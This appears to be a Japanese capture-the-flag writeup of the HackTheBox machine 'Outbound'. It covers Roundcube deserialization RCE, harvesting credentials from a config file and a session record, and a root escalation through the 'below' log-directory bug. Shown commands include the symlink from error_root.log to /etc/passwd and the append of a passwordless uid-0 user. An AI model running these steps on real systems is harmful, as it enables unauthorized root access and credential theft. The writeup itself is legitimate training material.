0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup:Outbound

Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、Outboundです。

Outboundでは、RoundcubeやBelowの脆弱性について学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 23:26 JST
Nmap scan report for mail.outbound.htb (10.10.11.77)
Host is up (0.28s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Roundcube Webmail :: Welcome to Roundcube Webmail
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.99 seconds
Scan completed

上記ポートスキャンの結果を基に調査を行います。

列挙

ポートスキャンの結果を踏まえて、hostsファイルを編集後mail.outbound.htbにアクセスすると、以下の様な画面が表示されます。

スクリーンショット 2025-07-22 23.30.18.png

Roundcubeは、IMAPを用いたWebメールクライアントです。提供されているtylerユーザーの認証情報を使用してログインを行います。

スクリーンショット 2025-07-22 23.30.37.png

「About」よりRoundcubeのバージョンは、1.6.10であることが確認できました。

スクリーンショット 2025-07-22 23.31.38.png

脆弱性分析

Google検索でRoundcubeの脆弱性を調査した結果、CVE-2025-49113が見つかりました。

CVE-2025-49113は、Roundcube Webmail 1.5.10より前のバージョン及び1.6.11より前の1.6.xバージョンに関して、URLの_fromパラメータがprogram/actions/settings/upload.phpファイルで検証されないことによって、PHPオブジェクトのデシリアライゼーションが発生し、RCEが実行できます。

システムハッキング

上記で発見した脆弱性を利用して、足場を作ります。

アクセスの獲得

GitHubで見つけたPocを実行します。

このエクスプロイトコードは、脆弱なバージョンのRoundcubeを実行しているか確認し、脆弱性のバージョンに該当する場合、画像ファイルのファイル名に悪意のあるオブジェクトを注入することでRCEを実行しています。

[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...

エクスプロイト実行後リバースシェルが取得できました。

listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.77] 54602
bash: cannot set terminal process group (245): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mail:/$ 

ユーザーフラグ

横展開を行うため、/homeディレクトリを参照してターゲットを確認します。

total 20
drwxr-x--- 1 jacob jacob 4096 Jun  7 13:55 jacob
drwxr-x--- 1 mel   mel   4096 Jun  8 12:06 mel
drwxr-x--- 1 tyler tyler 4096 Jun  8 13:28 tyler

上記結果より、ターゲットはjacobまたはmelユーザと推測できます。認証情報を探すため、/var/www/html/roundcubeディレクトリに移動します。

total 392
-rw-r--r--  1 www-data www-data 216244 Feb  8 08:47 CHANGELOG.md
-rw-r--r--  1 www-data www-data  12714 Feb  8 08:47 INSTALL
-rw-r--r--  1 www-data www-data  35147 Feb  8 08:47 LICENSE
-rw-r--r--  1 www-data www-data   3853 Feb  8 08:47 README.md
-rw-r--r--  1 www-data www-data   1049 Feb  8 08:47 SECURITY.md
drwxr-xr-x  7 www-data www-data   4096 Feb  8 08:47 SQL
-rw-r--r--  1 www-data www-data   4657 Feb  8 08:47 UPGRADING
drwxr-xr-x  2 www-data www-data   4096 Feb  8 08:47 bin
-rw-r--r--  1 www-data www-data   1086 Feb  8 08:47 composer.json
-rw-r--r--  1 www-data www-data  56802 Feb  8 08:47 composer.lock
drwxr-xr-x  2 www-data www-data   4096 Jun  6 18:55 config
-rw-r--r--  1 www-data www-data  11200 Feb  8 08:47 index.php
drwxr-xr-x  1 www-data www-data   4096 Jul 22 14:10 logs
drwxr-xr-x 37 www-data www-data   4096 Feb  8 08:47 plugins
drwxr-xr-x  8 www-data www-data   4096 Feb  8 08:47 program
drwxr-xr-x  3 www-data www-data   4096 Jun  6 18:55 public_html
drwxr-xr-x  3 www-data www-data   4096 Feb  8 08:47 skins
drwxr-xr-x  1 www-data www-data   4096 Jul 22 14:35 temp
drwxr-xr-x 14 www-data www-data   4096 Feb  8 08:47 vendor

configディレクトリを確認します。

total 76
-rw-r--r-- 1 root     root      3024 Jun  6 18:55 config.inc.php
-rw-r--r-- 1 www-data www-data  2943 Feb  8 08:47 config.inc.php.sample
-rw-r--r-- 1 www-data www-data 65000 Feb  8 08:47 defaults.inc.php
-rw-r--r-- 1 www-data www-data  2806 Feb  8 08:47 mimetypes.php

config.inc.phpファイルよりデータベースのパスワードを発見しました。

$config['db_dsnw'] = 'mysql://roundcube:[REDACTED]@localhost/roundcube';

以下のコマンドを実行して、データベースに接続します。

$ mysql -u roundcube -h localhost -p

データベースに接続はできるものの、ttyが存在しないことでバッファリングが発生するため、以下のコマンドを実行して擬似端末を作成します。

$ script /dev/null

script /dev/null
Script started, output log file is '/dev/null'.

再度mysqlコマンドを実行すると、コマンドの出力が確認できます。

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 9683
Server version: 10.11.13-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

以下のコマンドを実行して、データベースを確認します。

MariaDB [(none)]> show databases;

show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| roundcube          |
+--------------------+
2 rows in set (0.001 sec)

roundcubeデータベースに接続します。

MariaDB [(none)]> use roundcube;

use roundcube;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [roundcube]> 

以下のコマンドを実行して、テーブルを確認します。

MariaDB [roundcube]> show tables;

show tables;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache               |
| cache_index         |
| cache_messages      |
| cache_shared        |
| cache_thread        |
| collected_addresses |
| contactgroupmembers |
| contactgroups       |
| contacts            |
| dictionary          |
| filestore           |
| identities          |
| responses           |
| searches            |
| session             |
| system              |
| users               |
+---------------------+
17 rows in set (0.001 sec)

上記結果よりusersテーブルを確認します。

MariaDB [roundcube]> select * from users;

select * from users;
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
| user_id | username | mail_host | created             | last_login          | failed_login        | failed_login_counter | language | preferences                                               |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
|       1 | jacob    | localhost | 2025-06-07 13:55:18 | 2025-06-11 07:52:49 | 2025-06-11 07:51:32 |                    1 | en_US    | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";}         |
|       2 | mel      | localhost | 2025-06-08 12:04:51 | 2025-06-08 13:29:05 | NULL                |                 NULL | en_US    | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";}         |
|       3 | tyler    | localhost | 2025-06-08 13:28:55 | 2025-07-22 15:00:13 | 2025-06-11 07:51:22 |                    1 | en_US    | a:2:{s:11:"client_hash";s:16:"HfXC9inPGFBUKrkf";i:0;b:0;} |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
3 rows in set (0.000 sec)

usersテーブルの結果は利用できませんでしたが、sessionテーブルを確認すると、興味深いレコードが見つかります。

MariaDB [roundcube]> select * from session;

| 6a5ktqih5uca6lj8vrmgh9v0oh | 2025-06-08 15:46:40 | 172.17.0.1 | bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7

上記varsの値についてBase64を用いてデコードすると、jacobユーザのパスワードが見つかりました。

スクリーンショット 2025-07-23 0.24.17.png

発見したjacobユーザのパスワードはBase64にエンコードされているバイナリになるため、Base64及び16進数を用いてデコードします。

スクリーンショット 2025-07-23 0.25.28.png

Roundcubeのソースコードよりdefaults.inc.phpのコメントを参考にすると、RoundcubeはTriple DES(CBC)を使用して暗号化していることが分かります。従ってconfig.inc.phpファイルより取得したキーを用いて復号化を行います。

CBCモードは、IVとciphertextで構成されているため、先頭8バイトはIV、残り16バイトの暗号化データはInputに指定します。

スクリーンショット 2025-07-23 0.25.48.png

復号化したパスワードを使用して、jacobユーザにスイッチします。

$ su - jacob

total 8
drwx------ 1 jacob jacob 4096 Jul  9 12:41 mail

メールボックスを確認すると、新たな認証情報が確認できます。

$ cat mail/INBOX/jacob

cat mail/INBOX/jacob
From tyler@outbound.htb  Sat Jun 07 14:00:58 2025
Return-Path: <tyler@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1000)
        id B32C410248D; Sat,  7 Jun 2025 14:00:58 +0000 (UTC)
To: jacob@outbound.htb
Subject: Important Update
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250607140058.B32C410248D@outbound.htb>
Date: Sat,  7 Jun 2025 14:00:58 +0000 (UTC)
From: tyler@outbound.htb
X-IMAPbase: 1749304753 0000000002
X-UID: 1
Status: 
X-Keywords:                                                                       
Content-Length: 233

Due to the recent change of policies your password has been changed.

Please use the following credentials to log into your account: REDACTED

Remember to change your password when you next log into your account.

Thanks!

Tyler

jacobユーザでSSH接続を行います。ログイン後、ユーザーフラグが確認できます。

$ ssh jacob@mail.outbound.htb

total 28
drwxr-x--- 3 jacob jacob 4096 Jul  8 20:14 .
drwxr-xr-x 5 root  root  4096 Jul  8 20:14 ..
lrwxrwxrwx 1 root  root     9 Jul  8 11:12 .bash_history -> /dev/null
-rw-r--r-- 1 jacob jacob  220 Jun  8 12:14 .bash_logout
-rw-r--r-- 1 jacob jacob 3771 Jun  8 12:14 .bashrc
drwx------ 2 jacob jacob 4096 Jun 11 11:32 .cache                                    
-rw-r--r-- 1 jacob jacob  807 Jun  8 12:14 .profile     
-rw-r----- 1 root  jacob   33 Jul 22 15:14 user.txt

ルートフラグ

sudo -lコマンドを実行すると、NOPASSWDでbelowコマンドが実行できることを確認できます。

Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

belowは、Metaがオープンソースとして開発しているLinux向けのリソースモニターです。

belowの脆弱性について調査したところ、CVE-2025-27591の脆弱性が確認できました。

CVE-2025-27591は、/var/log/belowディレクトリに誰でも書き込み可能なディレクトリが作成されることに起因する権限昇格の脆弱性です。

この脆弱性を悪用することで、ローカルの権限のないユーザーが/etc/shadowファイルなどのシンボリックリンク攻撃を通じて、root権限に昇格できる可能性が存在します。

/var/log/below/ディレクトリを確認します。

total 16
drwxrwxrwx  3 root  root   4096 Jul 14 16:39 ./
drwxrwxr-x 13 root  syslog 4096 Jul 28 13:36 ../
-rw-rw-rw-  1 jacob jacob   236 Jul  8 20:45 error_jacob.log
-rw-rw-rw-  1 root  root      0 Jul 14 16:39 error_root.log
drwxr-xr-x  2 root  root   4096 Jul 28 13:35 store/

既にerror_root.logファイルが存在する場合は削除します。

$ rm error_root.log

以下のコマンドを実行して、/etc/passwdファイルを元にシンボリックファイルを作成します。

$ ln -s /etc/passwd /var/log/below/error_root.log

total 16
drwxrwxrwx  3 root  root   4096 Jul 28 13:44 ./
drwxrwxr-x 13 root  syslog 4096 Jul 28 13:36 ../
-rw-rw-rw-  1 jacob jacob   236 Jul  8 20:45 error_jacob.log
lrwxrwxrwx  1 jacob jacob    11 Jul 28 13:44 error_root.log -> /etc/passwd
drwxr-xr-x  2 root  root   4096 Jul 28 13:35 store/

belowコマンドを実行することで、ログファイルの出力をトリガーします。

$ sudo /usr/bin/below record

Jul 28 13:47:50.109 DEBG Starting up!
Jul 28 13:47:50.110 ERRO 
----------------- Detected unclean exit ---------------------
Error Message: Failed to acquire file lock on index file: /var/log/below/store/index_01753660800: EAGAIN: Try again
-------------------------------------------------------------

error_root.logファイルに以下の値を書き込みます。

$ echo attacker::0:0:attacker:/root:/bin/bash >> error_root.log

attacker::0:0:attacker:/root:/bin/bash

attackerユーザにスイッチすると、ルートユーザに昇格できます。

$ su - attacker

root@outbound:~# 

おわりに

ユーザフラグは、暗号化の知識を問われる面白いMachineでした。

また、ルートフラグについてもシンボリックリンク攻撃に関する学びがありました。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?